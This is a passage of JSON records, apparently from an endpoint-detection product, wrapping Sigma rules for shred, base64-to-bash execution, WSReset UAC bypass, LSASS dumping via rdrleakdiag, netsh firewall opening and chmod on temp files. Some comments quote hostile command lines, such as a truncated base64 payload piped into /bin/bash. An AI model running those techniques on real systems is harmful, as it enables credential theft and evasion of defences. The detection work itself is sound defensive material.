+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628372Z",
+  "creation_date": "2026-03-23T11:45:34.628374Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628378Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://man7.org/linux/man-pages/man1/shred.1.html",
+    "https://attack.mitre.org/techniques/T1070/004/",
+    "https://attack.mitre.org/techniques/T1485/"
+  ],
+  "name": "t1485_execution_of_shred.yml",
+  "content": "title: Shred Execution\nid: 6eae8f6d-99fb-45f9-a55d-94fc7e7110df\ndescription: |\n    Detects the execution of shred, a command to overwrite a file with random data to hide its content.\n    Attackers can overwrite any files left by their malicious activities to prevent forensic analysis and slow the investigation process.\n    It is recommended to analyze the process responsible for this action to look for malicious content or other malicious actions.\nreferences:\n    - https://man7.org/linux/man-pages/man1/shred.1.html\n    - https://attack.mitre.org/techniques/T1070/004/\n    - https://attack.mitre.org/techniques/T1485/\ndate: 2023/01/06\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.004\n    - attack.impact\n    - attack.t1485\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.LOLBin.Shred\n    - classification.Linux.Behavior.Deletion\n    - classification.Linux.Behavior.Obfuscation\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/shred'\n\n    selection_space:\n        CommandLine|contains:\n            - ' - u'\n            - ' -? u'\n            - ' -?? u'\n\n    # This is handled by the rule 0d4bd1c5-18a6-4c6e-a08e-48adc41e2884\n    filter_delete:\n        CommandLine|contains:\n            - ' -u'\n            - ' -?u'\n            - ' -??u'\n            - ' -???u'\n\n    exclusion_ansible:\n        ProcessParentName: 'ansible-vault'\n\n    condition: selection and (selection_space or not 1 of filter_*) and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6eae8f6d-99fb-45f9-a55d-94fc7e7110df",
+  "rule_name": "Shred Execution",
+  "rule_description": "Detects the execution of shred, a command to overwrite a file with random data to hide its content.\nAttackers can overwrite any files left by their malicious activities to prevent forensic analysis and slow the investigation process.\nIt is recommended to analyze the process responsible for this action to look for malicious content or other malicious actions.\n",
+  "rule_creation_date": "2023-01-06",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.004",
+    "attack.t1485"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6ec3565f-e7af-4e69-8d88-56a67f183e86",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095300Z",
+  "creation_date": "2026-03-23T11:45:34.095302Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095307Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/en-us/security/blog/2024/10/17/new-macos-vulnerability-hm-surf-could-lead-to-unauthorized-data-access/",
+    "https://attack.mitre.org/techniques/T1059/004/",
+    "https://attack.mitre.org/techniques/T1132/001/"
+  ],
+  "name": "t1059_004_base64_bash_execution.yml",
+  "content": "title: Inline Base64 Content Execution via Bash\nid: 6ec3565f-e7af-4e69-8d88-56a67f183e86\ndescription: |\n    Detects the execution of base64 encoded content in bash.\n    Adversaries may use base64 to hide a malicious payload and evade security defenses.\n    It is recommended to check for malicious behavior by the process launching the command and its potential children.\nreferences:\n    - https://www.microsoft.com/en-us/security/blog/2024/10/17/new-macos-vulnerability-hm-surf-could-lead-to-unauthorized-data-access/\n    - https://attack.mitre.org/techniques/T1059/004/\n    - https://attack.mitre.org/techniques/T1132/001/\ndate: 2024/10/18\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.004\n    - attack.command_and_control\n    - attack.t1132.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Obfuscation\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        #  /bin/zsh -c “echo -e WFVNS2JXNnNTM3c9J3RtcD0iJChta3R<reduced for brievty> | base64 -D | /bin/bash\n        Image|endswith:\n            - '/bash'\n            - '/zsh'\n            - '/sh'\n        # use regexp to eliminate multi-line script\n        CommandLine|re: '^.*base64 +(-d|-D|--decode).*\\|.*sh$'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6ec3565f-e7af-4e69-8d88-56a67f183e86",
+  "rule_name": "Inline Base64 Content Execution via Bash",
+  "rule_description": "Detects the execution of base64 encoded content in bash.\nAdversaries may use base64 to hide a malicious payload and evade security defenses.\nIt is recommended to check for malicious behavior by the process launching the command and its potential children.\n",
+  "rule_creation_date": "2024-10-18",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.004",
+    "attack.t1132.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6ecb6616-ffe0-4bb5-a3bf-ea85b57b9fab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073770Z",
+  "creation_date": "2026-03-23T11:45:34.073774Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073780Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.activecyber.us/activelabs/windows-uac-bypass",
+    "https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html",
+    "https://github.com/sailay1996/UAC_bypass_windows_store",
+    "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/"
+  ],
+  "name": "t1548_002_post_uac_bypass_wsreset.yml",
+  "content": "title: UAC Bypass Executed via WSReset\nid: 6ecb6616-ffe0-4bb5-a3bf-ea85b57b9fab\ndescription: |\n    Detects a process being spawned by WSReset.exe.\n    WSReset.exe has autoelevation capabilities and an integrity level of high.\n    This is the result of an attack against a ShellExecuteW(\"ms-windows-store:PurgeCaches\") call inside WSReset.\n    Attackers may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to look for other alerts related to WSReset.exe UAC bypass preparation.\nreferences:\n    - https://www.activecyber.us/activelabs/windows-uac-bypass\n    - https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html\n    - https://github.com/sailay1996/UAC_bypass_windows_store\n    - https://lolbas-project.github.io/lolbas/Binaries/Wsreset/\ndate: 2020/10/12\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Wsreset\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\WSReset.exe'\n\n    filter:\n        Image|endswith: 'Windows\\System32\\conhost.exe'\n\n    exclusion_cliprenew:\n        CommandLine:\n            - 'cmd.exe /c %SystemRoot%\\system32\\ClipRenew.exe'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c %SystemRoot%\\system32\\ClipRenew.exe'\n\n    condition: selection and not filter and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6ecb6616-ffe0-4bb5-a3bf-ea85b57b9fab",
+  "rule_name": "UAC Bypass Executed via WSReset",
+  "rule_description": "Detects a process being spawned by WSReset.exe.\nWSReset.exe has autoelevation capabilities and an integrity level of high.\nThis is the result of an attack against a ShellExecuteW(\"ms-windows-store:PurgeCaches\") call inside WSReset.\nAttackers may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to look for other alerts related to WSReset.exe UAC bypass preparation.\n",
+  "rule_creation_date": "2020-10-12",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6ed761ef-dba9-462a-82b1-0154f3c13117",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078310Z",
+  "creation_date": "2026-03-23T11:45:34.078312Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078316Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Rdrleakdiag/",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_process_memory_dump_with_rdrleakdiag.yml",
+  "content": "title: Process Memory Dumped via rdrleakdiag.exe\nid: 6ed761ef-dba9-462a-82b1-0154f3c13117\ndescription: |\n    Detects a suspicious attempt to dump a process' memory using rdrleakdiag.exe.\n    Rdrleakdiag.exe can be used as a LOLBin in order to dump the LSASS' process memory.\n    Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\n    These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\n    It is recommended to check the process launching rdrleakdiag.exe for other suspicious activity, such as data exfiltration and to start memory forensics to determine stolen materials.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Rdrleakdiag/\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2022/09/12\nmodified: 2025/02/17\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.t1078\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Rdrleakdiag\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_binary:\n        - Image|endswith: '\\rdrleakdiag.exe'\n        - OriginalFileName: 'RdrLeakDiag.exe'\n\n    selection_fullmemdmp:\n        CommandLine|contains:\n            - '/fullmemdmp'\n            - '-fullmemdmp'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6ed761ef-dba9-462a-82b1-0154f3c13117",
+  "rule_name": "Process Memory Dumped via rdrleakdiag.exe",
+  "rule_description": "Detects a suspicious attempt to dump a process' memory using rdrleakdiag.exe.\nRdrleakdiag.exe can be used as a LOLBin in order to dump the LSASS' process memory.\nAdversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\nThese credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\nIt is recommended to check the process launching rdrleakdiag.exe for other suspicious activity, such as data exfiltration and to start memory forensics to determine stolen materials.\n",
+  "rule_creation_date": "2022-09-12",
+  "rule_modified_date": "2025-02-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6f2f1289-3da8-4c9c-a447-9fd95238d6b4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079852Z",
+  "creation_date": "2026-03-23T11:45:34.079854Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079859Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/blackbyte-ransomware/",
+    "https://attack.mitre.org/techniques/T1562/004/",
+    "https://attack.mitre.org/techniques/T1021/001/"
+  ],
+  "name": "t1562_004_firewall_allow_file_printer.yml",
+  "content": "title: Share and Printer Traffic Enabled via netsh\nid: 6f2f1289-3da8-4c9c-a447-9fd95238d6b4\ndescription: |\n    Detects a firewall filter modification that allows access to shares and printers over SMB.\n    Allowing such traffic may allow adversaries to copy or access files over SMB shares but also to exploit vulnerabilities through newly exposed services, such as the spooler service.\n    It is recommended to check for uncommon authentications or suspicious activity after the firewall rules were updated.\nreferences:\n    - https://redcanary.com/blog/blackbyte-ransomware/\n    - https://attack.mitre.org/techniques/T1562/004/\n    - https://attack.mitre.org/techniques/T1021/001/\ndate: 2023/12/28\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.004\n    - attack.lateral_movement\n    - attack.t1021.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Netsh\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\netsh.exe'\n        # netsh advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=yes\n        CommandLine|contains|all:\n            - 'firewall'\n            - 'set'\n            - 'File'\n            - 'Printer'\n            - 'Sharing'\n            - 'enable'\n\n    # Exclusion for firewall activation\n    # netsh advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=no\n    filter_disable:\n        CommandLine|contains|all:\n            - 'set rule'\n            - 'enable'\n            - 'no'\n\n    exclusion_programfiles:\n        ProcessParentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_general_electric_healthcare:\n        ProcessParentImage|endswith: '\\VPAdmin.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'General Electric Company'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6f2f1289-3da8-4c9c-a447-9fd95238d6b4",
+  "rule_name": "Share and Printer Traffic Enabled via netsh",
+  "rule_description": "Detects a firewall filter modification that allows access to shares and printers over SMB.\nAllowing such traffic may allow adversaries to copy or access files over SMB shares but also to exploit vulnerabilities through newly exposed services, such as the spooler service.\nIt is recommended to check for uncommon authentications or suspicious activity after the firewall rules were updated.\n",
+  "rule_creation_date": "2023-12-28",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.001",
+    "attack.t1562.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6f370d2a-b65a-4e09-a924-93832490b998",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083773Z",
+  "creation_date": "2026-03-23T11:45:34.083775Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083780Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1016/"
+  ],
+  "name": "t1016_unsigned_connection_ip_tracker.yml",
+  "content": "title: DNS Request to IP Trackers from Unsigned Process\nid: 6f370d2a-b65a-4e09-a924-93832490b998\ndescription: |\n    Detects a connection to an IP address tracker service such as ipinfo.io from an unsigned process.\n    Adversaries can use such services to monitor their malware's spreading and track the IP addresses of infected hosts.\n    It is recommended to check the legitimacy of the process performing the request as well as its parent.\nreferences:\n    - https://attack.mitre.org/techniques/T1016/\ndate: 2023/06/19\nmodified: 2025/01/08\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1016\n    - classification.Windows.Source.DnsQuery\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    product: windows\n    category: dns_query\ndetection:\n    selection_exact:\n        QueryName:\n            - 'ipinfo.io'\n            - 'ip-api.com'\n            - 'ip-api.org'\n            - 'ip.me'\n            - 'ipify.org'\n            - 'seeip.org'\n            - 'icanhazip.com'\n            - 'canihazip.com'\n            - 'ident.me'\n        ProcessSigned: 'false'\n\n    selection_subdomain:\n        QueryName|endswith:\n            - '.ipinfo.io'\n            - '.ip-api.com'\n            - '.ip-api.org'\n            - '.ip.me'\n            - '.ipify.org'\n            - '.seeip.org'\n            - '.icanhazip.com'\n            - '.canihazip.com'\n            - '.ident.me'\n        ProcessSigned: 'false'\n\n    exclusion_image:\n        ProcessImage:\n            - '?:\\Users\\\\*\\AppData\\Local\\modjo-livenotes\\app-*\\modjo-livenotes.exe'\n            - '?:\\EES32\\\\ees.exe'\n            - '?:\\users\\\\*\\appdata\\roaming\\insertlinks\\insertlinks.exe'\n            - '?:\\Biesse\\bSuiteActionHandler\\bSuiteActionHandler.exe'\n            - '?:\\Program Files (x86)\\Vidoc\\scrobbler\\VidocScrobbler.exe'\n            - '?:\\Program Files\\Vidoc\\scrobbler\\VidocScrobbler.exe'\n            - '?:\\Program Files (x86)\\WindowsApps\\Evernote.Evernote_*\\app\\Evernote.exe'\n            - '?:\\Program Files\\WindowsApps\\Evernote.Evernote_*\\app\\Evernote.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\Evernote\\Evernote.exe'\n            - '?:\\program files\\lightbulb\\lightbulb.exe'\n            - '?:\\users\\\\*\\appdata\\local\\ciscoereader\\app-*\\cisco-ereader.exe'\n            - '?:\\Program Files\\TacticalAgent\\tacticalrmm.exe'\n            - '?:\\Program Files\\Fortify\\fortify.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\signitic\\Signitic.exe'\n            - '?:\\Program Files\\WindowsApps\\\\*\\\\*.exe'\n            - '?:\\Program Files\\NewBlueFX\\VegasStream\\VEGAS Stream.exe'\n            - '?:\\Program Files (x86)\\Steam\\steamapps\\common\\Aim Lab\\AimLab_tb.exe'\n            - '?:\\Program Files (x86)\\Steelcase\\RoomWizard Administrative Console\\RWAdmin.exe'\n            - '?:\\Windows\\System32\\ipconfig.exe'\n            - '?:\\Program Files (x86)\\Raptor Technologies LLC\\RaptorHardwareService\\Raptorware.ClientService.Server.exe'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\\\*\\streamdeck\\plugins\\com.barraider.wintools.sdplugin\\com.barraider.wintools.exe'\n            - '?:\\Program Files (x86)\\framiral\\avd\\avdstandalone.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Business Online SA *\\business online sa.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\station-desktop-app\\station.exe'\n            - '?:\\Program Files (x86)\\evernote\\evernote.exe'\n            - '?:\\Program Files\\dolphin anty\\dolphin anty.exe'\n            - '?:\\Program Files (x86)\\echtherm\\fscommand\\\\*.exe'\n            - '?:\\Program Files\\mercury\\mercury.exe'\n            - '?:\\Program Files (x86)\\ajax pro desktop\\ajaxpro.exe'\n            - '?:\\program Files\\Chromium\\Application\\chrome.exe'\n\n    exclusion_insanermm:\n        ProcessImage: '?:\\Program Files\\InsaneRMM\\InsaneRMM.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_httpd:\n        ProcessCommandLine: '?:\\Apache24\\bin\\httpd.exe -d ?:/Apache24'\n        ProcessParentCommandLine: '?:\\Apache24\\bin\\httpd.exe -k runservice'\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6f370d2a-b65a-4e09-a924-93832490b998",
+  "rule_name": "DNS Request to IP Trackers from Unsigned Process",
+  "rule_description": "Detects a connection to an IP address tracker service such as ipinfo.io from an unsigned process.\nAdversaries can use such services to monitor their malware's spreading and track the IP addresses of infected hosts.\nIt is recommended to check the legitimacy of the process performing the request as well as its parent.\n",
+  "rule_creation_date": "2023-06-19",
+  "rule_modified_date": "2025-01-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1016"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6f41b447-3247-40d8-a860-f66a138a0ed4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094001Z",
+  "creation_date": "2026-03-23T11:45:34.094003Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094008Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://atomicredteam.io/execution/T1059.004/",
+    "https://gtfobins.github.io/gtfobins/chmod/",
+    "https://attack.mitre.org/techniques/T1222/002/"
+  ],
+  "name": "t1222_002_chmod_executable_in_temporary_folder.yml",
+  "content": "title: Execution Permission of a Temporary File Set via chmod\nid: 6f41b447-3247-40d8-a860-f66a138a0ed4\ndescription: |\n    Detects a suspicious attempt to give the execution permissions to a temporary file using the chmod command.\n    This is often used by attackers to give execution permission to their malicious tools, either compiled locally or downloaded from the internet.\n    It is recommended to investigate the file to determine its legitimacy.\nreferences:\n    - https://atomicredteam.io/execution/T1059.004/\n    - https://gtfobins.github.io/gtfobins/chmod/\n    - https://attack.mitre.org/techniques/T1222/002/\ndate: 2024/06/19\nmodified: 2025/10/23\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.004\n    - attack.defense_evasion\n    - attack.t1222.002\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.LOLBin.Chmod\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        Kind: 'chmod'\n        Mode|endswith: '7??'\n        ProcessImage|endswith: '/chmod'\n        ProcessCommandLine:\n            - '*chmod ?7?? *'\n            - '*chmod +x *'\n        Path|startswith:\n            - '/tmp'\n            - '/var/tmp'\n\n    filter_directories:\n        Path|endswith: '/'\n\n    filter_recursive:\n        ProcessCommandLine|contains: ' -R '\n\n    exclusion_ancestors:\n        ProcessAncestors|contains:\n            - '|/usr/sbin/crond|'\n            - '|/usr/bin/crio|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n            - '|/opt/teamquest/manager/'\n            - '|/opt/BESClient/bin/BESClient|'\n            - '|/usr/local/lsam-*/bin/sma_lsam|'\n            - '|/opt/*/smgr/bin/ucybsmgr|'\n            - '|/usr/bin/make|'\n\n    exclusion_mkinitramfs:\n        # cp -pP /bin/kbd_mode /var/tmp/mkinitramfs_2yUr1t//bin/kbd_mode\n        # /var/tmp/dracut.2V0kBT/initramfs/kdumpscripts/monitor_dd_progress\n        ProcessCommandLine|contains:\n            - ' /var/tmp/mkinitramfs_??????/'\n            - ' /var/tmp/dracut.??????/initramfs/'\n\n    exclusion_mcaffee:\n        ProcessCommandLine|contains: ' /tmp/ens_pkg/validate-mfeesp.sh'\n\n    exclusion_apt:\n        ProcessGrandparentImage: '/usr/lib/apt/methods/gpgv'\n\n    exclusion_nxserver:\n        ProcessGrandparentImage: '/usr/NX/bin/nxserver.bin'\n\n    exclusion_gh_runner:\n        ProcessParentCommandLine|startswith: '/bin/bash /root/gh-runner-scripts/'\n\n    exclusion_puppetlab:\n        - ProcessGrandparentImage: '/opt/puppetlabs/puppet/bin/ruby'\n        - ProcessAncestors|contains: 